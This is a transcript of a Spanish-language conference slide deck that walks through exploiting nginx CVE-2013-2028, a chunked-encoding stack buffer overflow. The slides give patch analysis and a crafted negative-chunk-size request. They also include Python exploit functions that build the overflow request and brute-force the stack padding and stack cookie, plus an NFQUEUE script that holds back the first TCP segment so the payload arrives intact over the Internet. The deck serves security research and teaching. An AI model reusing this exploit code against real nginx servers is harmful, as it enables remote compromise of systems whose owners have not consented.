La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

WhoamI #BBOOTN. WhoamI Big Buffer Overflow Over The Network Y bla bla bla…

Presentaciones similares


Presentación del tema: "WhoamI #BBOOTN. WhoamI Big Buffer Overflow Over The Network Y bla bla bla…"— Transcripción de la presentación:

1 WhoamI #BBOOTN

2 WhoamI Big Buffer Overflow Over The Network Y bla bla bla…

3 SOBRE MI Albert Puigsech Galicia Más de 15 años dedicado al InfoSec. Manager del laboratorio de seguridad de EY. Director de centro Codelearn Sant Gervasi. Miembro del grupo int3pids. Creador de la publicación 7a69ezine. @apuigsech apuigsech albert@puigsech.com

4 QUIEN MÁS? Socio de I+D+i: @samsa2k8 oriol-carreras-ballester

5 ANTECEDENTES A principios de Mayo de 2013 se publica una vulnerabilidad en nginx.  nginx crafted request handling remote overflow  CVE-2013-2028  Otra vez el chunked encoding, y bla bla bla…

6 EL EXPLOIT Análisis del parche: El problema se produce en la función ngx_http_parse_chunked() cuando ctx->size o ctx->length es menor que zero. --- src/http/ngx_http_parse.c +++ src/http/ngx_http_parse.c @@ -2209,6 +2209,10 @@ data: + if (ctx->size length < 0) { + goto invalid; + } + return rc; done: Y bla bla bla…

7 EL EXPLOIT Análisis del código:  La función de parsing procesa carácter a carácter en un bucle enorme que implementa una maquina de estados, y bla bla bla…  Al final se resume todo en usar un tamaño de chunk encode negativo.

8 EL EXPLOIT Una prueba tonta: GET /html HTTP/1.1 Host: localhost Transfer-Encoding: chunked feeeeeeeeeeeeeeee El gdb nos dice esto: Breakpoint 2, ngx_http_parse_chunked (r=0x94dc4d8, b=0x94d6064, ctx=0x94dcc94) at src/http/ngx_http_parse.c:2177 2177 ctx->state = state; (gdb) p ctx->size $7 = -1229782938247303442 (gdb) Y bla bla bla…

9 EL EXPLOIT Vale, y?: En la función ngx_http_read_discarded_request_body() podemos encontrar el siguiente código: u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; (…) size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); NGX_HTTP_DISCARD_BUFFER_SIZE es 4096. Y bla bla bla…

10 EL EXPLOIT Jojojo. Un buffer overflow de toda la vida (*). (*) Con stack cookie aleatorio. Y bla bla bla…

11 EL EXPLOIT Código del Exploit: Crafted Request! Y bla bla bla… def get_magic_request(sz): req = "GET /html HTTP/1.1\n" req += "Host: localhost\n" req += "Connection: keep-alive\n" req += "Transfer-Encoding: chunked\n" req += "\n" extra = sz - len(req) - 17 extra = extra - 5 req += "%x" % extra + "\n" + "A"*extra + "\n" req += "eeeeeeeeeeeeeeee\t" return req

12 EL EXPLOIT Código del Exploit: Auto-Padding! Y bla bla bla… def get_padding(): print "[+] Finding stack padding" for i in range(0, 128): print "\r\t- Trying: %i" % i, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, i, 0xff, 1, 0, "") s = do_connect(HOST, PORT) s.send(req) if len(s.recv(1024)) <= 0: print "\r\t- Trying: %i (FOUND!)\n" % i break if i == 127: print "\r\t- Not Found: Are you sure that this is exploitable?" return None else: return i

13 EL EXPLOIT Código del Exploit: Auto-Cookie!!!!! Y bla bla bla… def get_cookie(padding_bc_size): print "[+] Obtaining stack protection cookie" cookie = 0x00000000 for i in range(0,4): for j in range(0x00, 0xff): print "\r\t- Trying: %x" % cookie, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, i+1, 0, "") s = do_connect(HOST, PORT) s.send(req) if (len(s.recv(1024)) > 0): break cookie += 0x01<<(8*i) print "\r\t- Trying: %x (FOUND!)\n" % cookie, return cookie

14 EL EXPLOIT Atacando a través de la red local: Y bla bla bla…

15 EL EXPLOIT Atacando a través de la Internet: Y bla bla bla…

16 EL MISTERIO Qué cojones pasa? Miremos el log… 2013/08/20 01:57:07 [debug] 9816#0: *1 http chunked byte: FF s:2 2013/08/20 01:57:07 [debug] 9816#0: *1 recv: fd:3 1435 of 1435 Y bla bla bla…

17 EL MISTERIO Qué cojones pasa? Miremos el trafico de red… 1500

18 EL MISTERIO ¡Respuesta! $ ifconfig eth0 Link encap:Ethernet HWaddr 00:1c:42:aa:cd:ae inet addr:192.168.43.201 Bcast:192.168.43.255 Mask:255.255.255.0 inet6 addr: fe80::21c:42ff:feaa:cdae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:355172 errors:0 dropped:17 overruns:0 frame:0 TX packets:108614 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:74851995 (74.8 MB) TX bytes:59333456 (59.3 MB “La MTU nos esta jodiendo” La unidad máxima de transferencia (Maximum Transfer Unit - MTU) es un término de redes de computadoras que expresa el tamaño en bytes de la unidad de datos más grande que puede enviarse usando un protocolo de comunicaciones. Y bla bla bla…

19 Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP IP Física Internet 4096 1500 … El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes Y bla bla bla….

20 SOLUCION? Primer intento… Forzar una MTU mayor. $ ifconfig eth0 mtu 8000 up

21 Aplicación (nginx) QUE OCURRE AHORA? Aplicación (exploit) TCP IP Física TCP IP Física Internet 4096 1500 … El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. Y bla bla bla….

22 SOLUCION? Si no podemos enviar el paquete entero… Tenemos que hacer que, por lo menos, llegue entero a la aplicación destino (nginx). Y bla bla bla…

23 (UN POCO DE REDES) El modelo OSI tiene diversas capas en las que se procesan los paquetes. El paquete debe llegar compacto a la capa de Aplicación. En que capas se ensamblan paquetes? IP: Paquetes fragmentados. TCP: En algunas condiciones. Y bla bla bla…

24 (UN POCO DE REDES) Cómo funciona la capa TCP.  Protocolo orientado a conexiones con controles de secuencia.  Tiene un Buffer interno llamado “Ventana” de un tamaño concreto.  La Ventana se usa para ensamblar paquetes.

25 (UN POCO DE REDES) Llega un paquete TCP… 1.Se coloca en la Ventana. 2.Se evalúa si el contenido está completo (gracias a los números de secuencia). 3.Si el contenido está completo se envía a la capa superior (capa de Aplicación). 4.Si no esta completo se sigue esperando contenido. 5.Y bla bla bla…

26 SOLUCION? Segundo intento… Intentar que los paquetes se ensamblen en la capa TCP… Como? Si enviamos el primer paquete del bloque de datos en último lugar, la capa TCP no podrá entregar los datos a la capa de Aplicación hasta que este llegue. 1500 Primer paquete al final. Y bla bla bla…

27 Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP Ventana IP Física Internet 1500 Y bla bla bla…. 4096 PWNED

28 SOLUCION Como lo hacemos?  Implementando un stack TCP/IP en userspace en nuestro exploit. Elegante, pero un palo.  Manipular el kernel Feo, y un palo.  Usar las NFQUEUS de netfilter. Feo, pero FACIL Y bla bla bla…

29 SOLUCION Código del NFQUEUE: import nfqueue import socket import time data_count = 0 delayed = None def cb(dummy, payload): global data_count global delayed print "OUTCOMING PACKAGE!" data = payload.get_data() if len(data) > 60: data_count += 1 if (data_count == 1): delayed = payload print data payload.set_verdict(nfqueue.NF_DROP) else: data_count = 0 q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(cb) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: print "Exiting..." q.unbind(socket.AF_INET) q.close()

30 PREGUNTAS?


Descargar ppt "WhoamI #BBOOTN. WhoamI Big Buffer Overflow Over The Network Y bla bla bla…"

Presentaciones similares


Anuncios Google